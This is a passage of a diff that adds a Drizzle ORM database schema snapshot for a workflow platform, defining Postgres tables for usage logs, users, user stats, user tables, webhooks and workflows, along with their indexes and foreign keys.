"name": "limit", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "processed_count": { + "name": "processed_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "is_manual_run": { + "name": "is_manual_run", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "triggered_by_user_id": { + "name": "triggered_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_at": { + "name": "requested_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "cancelled_at": { + "name": "cancelled_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "table_run_dispatches_active_idx": { + "name": "table_run_dispatches_active_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "table_run_dispatches_watchdog_idx": { + "name": "table_run_dispatches_watchdog_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requested_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "table_run_dispatches_table_id_user_table_definitions_id_fk": { + "name": "table_run_dispatches_table_id_user_table_definitions_id_fk", + "tableFrom": "table_run_dispatches", + "tableTo": "user_table_definitions", + "columnsFrom": ["table_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "table_run_dispatches_workspace_id_workspace_id_fk": { + "name": "table_run_dispatches_workspace_id_workspace_id_fk", + "tableFrom": "table_run_dispatches", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "table_run_dispatches_triggered_by_user_id_user_id_fk": { + "name": "table_run_dispatches_triggered_by_user_id_user_id_fk", + "tableFrom": "table_run_dispatches", + "tableTo": "user", + "columnsFrom": ["triggered_by_user_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.usage_log": { + "name": "usage_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "category": { + "name": "category", + "type": "usage_log_category", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "usage_log_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "cost": { + "name": "cost", + "type": "numeric", + "primaryKey": false, + "notNull": true + }, + "event_key": { + "name": "event_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "billing_entity_type": { + "name": "billing_entity_type", + "type": "billing_entity_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "billing_entity_id": { + "name": "billing_entity_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "billing_period_start": { + "name": "billing_period_start", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "billing_period_end": { + "name": "billing_period_end", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "usage_log_user_created_at_idx": { + "name": "usage_log_user_created_at_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_source_idx": { + "name": "usage_log_source_idx", + "columns": [ + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_workspace_id_idx": { + "name": "usage_log_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_workflow_id_idx": { + "name": "usage_log_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_event_key_unique": { + "name": "usage_log_event_key_unique", + "columns": [ + { + "expression": "event_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"usage_log\".\"event_key\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_billing_entity_period_idx": { + "name": "usage_log_billing_entity_period_idx", + "columns": [ + { + "expression": "billing_entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "billing_entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "billing_period_start", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "billing_period_end", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"usage_log\".\"billing_entity_type\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_workspace_created_at_idx": { + "name": "usage_log_workspace_created_at_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "usage_log_execution_id_idx": { + "name": "usage_log_execution_id_idx", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "usage_log_user_id_user_id_fk": { + "name": "usage_log_user_id_user_id_fk", + "tableFrom": "usage_log", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "usage_log_workspace_id_workspace_id_fk": { + "name": "usage_log_workspace_id_workspace_id_fk", + "tableFrom": "usage_log", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "usage_log_workflow_id_workflow_id_fk": { + "name": "usage_log_workflow_id_workflow_id_fk", + "tableFrom": "usage_log", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "usage_log_billing_scope_all_or_none": { + "name": "usage_log_billing_scope_all_or_none", + "value": "(\n (\"usage_log\".\"billing_entity_type\" IS NULL AND \"usage_log\".\"billing_entity_id\" IS NULL AND \"usage_log\".\"billing_period_start\" IS NULL AND \"usage_log\".\"billing_period_end\" IS NULL)\n OR\n (\"usage_log\".\"billing_entity_type\" IS NOT NULL AND \"usage_log\".\"billing_entity_id\" IS NOT NULL AND \"usage_log\".\"billing_period_start\" IS NOT NULL AND \"usage_log\".\"billing_period_end\" IS NOT NULL AND \"usage_log\".\"billing_period_start\" < \"usage_log\".\"billing_period_end\")\n )" + } + }, + "isRLSEnabled": false + }, + "public.user": { + "name": "user", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "normalized_email": { + "name": "normalized_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email_verified": { + "name": "email_verified", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "image": { + "name": "image", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "stripe_customer_id": { + "name": "stripe_customer_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'user'" + }, + "banned": { + "name": "banned", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "ban_reason": { + "name": "ban_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ban_expires": { + "name": "ban_expires", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "user_email_unique": { + "name": "user_email_unique", + "nullsNotDistinct": false, + "columns": ["email"] + }, + "user_normalized_email_unique": { + "name": "user_normalized_email_unique", + "nullsNotDistinct": false, + "columns": ["normalized_email"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_stats": { + "name": "user_stats", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "total_manual_executions": { + "name": "total_manual_executions", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_api_calls": { + "name": "total_api_calls", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_webhook_triggers": { + "name": "total_webhook_triggers", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_scheduled_executions": { + "name": "total_scheduled_executions", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_chat_executions": { + "name": "total_chat_executions", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_mcp_executions": { + "name": "total_mcp_executions", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_tokens_used": { + "name": "total_tokens_used", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_cost": { + "name": "total_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "current_usage_limit": { + "name": "current_usage_limit", + "type": "numeric", + "primaryKey": false, + "notNull": false, + "default": "'5'" + }, + "usage_limit_updated_at": { + "name": "usage_limit_updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "current_period_cost": { + "name": "current_period_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "last_period_cost": { + "name": "last_period_cost", + "type": "numeric", + "primaryKey": false, + "notNull": false, + "default": "'0'" + }, + "billed_overage_this_period": { + "name": "billed_overage_this_period", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "pro_period_cost_snapshot": { + "name": "pro_period_cost_snapshot", + "type": "numeric", + "primaryKey": false, + "notNull": false, + "default": "'0'" + }, + "pro_period_cost_snapshot_at": { + "name": "pro_period_cost_snapshot_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "credit_balance": { + "name": "credit_balance", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "total_copilot_cost": { + "name": "total_copilot_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "current_period_copilot_cost": { + "name": "current_period_copilot_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "last_period_copilot_cost": { + "name": "last_period_copilot_cost", + "type": "numeric", + "primaryKey": false, + "notNull": false, + "default": "'0'" + }, + "total_copilot_tokens": { + "name": "total_copilot_tokens", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_copilot_calls": { + "name": "total_copilot_calls", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_mcp_copilot_calls": { + "name": "total_mcp_copilot_calls", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "total_mcp_copilot_cost": { + "name": "total_mcp_copilot_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "current_period_mcp_copilot_cost": { + "name": "current_period_mcp_copilot_cost", + "type": "numeric", + "primaryKey": false, + "notNull": true, + "default": "'0'" + }, + "storage_used_bytes": { + "name": "storage_used_bytes", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_active": { + "name": "last_active", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "billing_blocked": { + "name": "billing_blocked", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "billing_blocked_reason": { + "name": "billing_blocked_reason", + "type": "billing_blocked_reason", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "limit_notifications": { + "name": "limit_notifications", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + } + }, + "indexes": {}, + "foreignKeys": { + "user_stats_user_id_user_id_fk": { + "name": "user_stats_user_id_user_id_fk", + "tableFrom": "user_stats", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "user_stats_user_id_unique": { + "name": "user_stats_user_id_unique", + "nullsNotDistinct": false, + "columns": ["user_id"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_table_definitions": { + "name": "user_table_definitions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "schema": { + "name": "schema", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "max_rows": { + "name": "max_rows", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 10000 + }, + "row_count": { + "name": "row_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "rows_version": { + "name": "rows_version", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_table_def_workspace_id_idx": { + "name": "user_table_def_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_def_workspace_name_unique": { + "name": "user_table_def_workspace_name_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"user_table_definitions\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_def_archived_at_idx": { + "name": "user_table_def_archived_at_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_def_workspace_archived_partial_idx": { + "name": "user_table_def_workspace_archived_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"user_table_definitions\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_table_definitions_workspace_id_workspace_id_fk": { + "name": "user_table_definitions_workspace_id_workspace_id_fk", + "tableFrom": "user_table_definitions", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_table_definitions_created_by_user_id_fk": { + "name": "user_table_definitions_created_by_user_id_fk", + "tableFrom": "user_table_definitions", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_table_rows": { + "name": "user_table_rows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "table_id": { + "name": "table_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "data": { + "name": "data", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "order_key": { + "name": "order_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "user_table_rows_tenant_data_gin_idx": { + "name": "user_table_rows_tenant_data_gin_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "\"data\" jsonb_path_ops", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + }, + "user_table_rows_workspace_table_idx": { + "name": "user_table_rows_workspace_table_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_rows_table_position_idx": { + "name": "user_table_rows_table_position_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_rows_table_order_key_idx": { + "name": "user_table_rows_table_order_key_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "order_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_table_rows_table_id_id_idx": { + "name": "user_table_rows_table_id_id_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_table_rows_table_id_user_table_definitions_id_fk": { + "name": "user_table_rows_table_id_user_table_definitions_id_fk", + "tableFrom": "user_table_rows", + "tableTo": "user_table_definitions", + "columnsFrom": ["table_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_table_rows_workspace_id_workspace_id_fk": { + "name": "user_table_rows_workspace_id_workspace_id_fk", + "tableFrom": "user_table_rows", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_table_rows_created_by_user_id_fk": { + "name": "user_table_rows_created_by_user_id_fk", + "tableFrom": "user_table_rows", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.verification": { + "name": "verification", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "identifier": { + "name": "identifier", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "value": { + "name": "value", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "verification_identifier_idx": { + "name": "verification_identifier_idx", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "verification_expires_at_idx": { + "name": "verification_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.waitlist": { + "name": "waitlist", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "waitlist_email_unique": { + "name": "waitlist_email_unique", + "nullsNotDistinct": false, + "columns": ["email"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.webhook": { + "name": "webhook", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deployment_version_id": { + "name": "deployment_version_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "block_id": { + "name": "block_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_config": { + "name": "provider_config", + "type": "json", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "failed_count": { + "name": "failed_count", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 0 + }, + "last_failed_at": { + "name": "last_failed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "credential_set_id": { + "name": "credential_set_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "path_deployment_unique": { + "name": "path_deployment_unique", + "columns": [ + { + "expression": "path", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"webhook\".\"archived_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_workflow_deployment_idx": { + "name": "webhook_workflow_deployment_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_credential_set_id_idx": { + "name": "webhook_credential_set_id_idx", + "columns": [ + { + "expression": "credential_set_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_archived_at_partial_idx": { + "name": "webhook_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"webhook\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_webhook_on_provider_is_active_workflow_id_deploym_bdeed5468": { + "name": "idx_webhook_on_provider_is_active_workflow_id_deploym_bdeed5468", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deployment_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_webhook_on_workflow_id_block_id_updated_at_desc": { + "name": "idx_webhook_on_workflow_id_block_id_updated_at_desc", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": false, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "webhook_workflow_id_workflow_id_fk": { + "name": "webhook_workflow_id_workflow_id_fk", + "tableFrom": "webhook", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_deployment_version_id_workflow_deployment_version_id_fk": { + "name": "webhook_deployment_version_id_workflow_deployment_version_id_fk", + "tableFrom": "webhook", + "tableTo": "workflow_deployment_version", + "columnsFrom": ["deployment_version_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_credential_set_id_credential_set_id_fk": { + "name": "webhook_credential_set_id_credential_set_id_fk", + "tableFrom": "webhook", + "tableTo": "credential_set", + "columnsFrom": ["credential_set_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow": { + "name": "workflow", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "folder_id": { + "name": "folder_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sort_order": { + "name": "sort_order", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_synced": { + "name": "last_synced", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "is_deployed": { + "name": "is_deployed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "deployed_at": { + "name": "deployed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "is_public_api": { + "name": "is_public_api", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "locked": { + "name": "locked", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "run_count": { + "name": "run_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_run_at": { + "name": "last_run_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "variables": { + "name": "variables", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_user_id_idx": { + "name": "workflow_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_workspace_id_idx": { + "name": 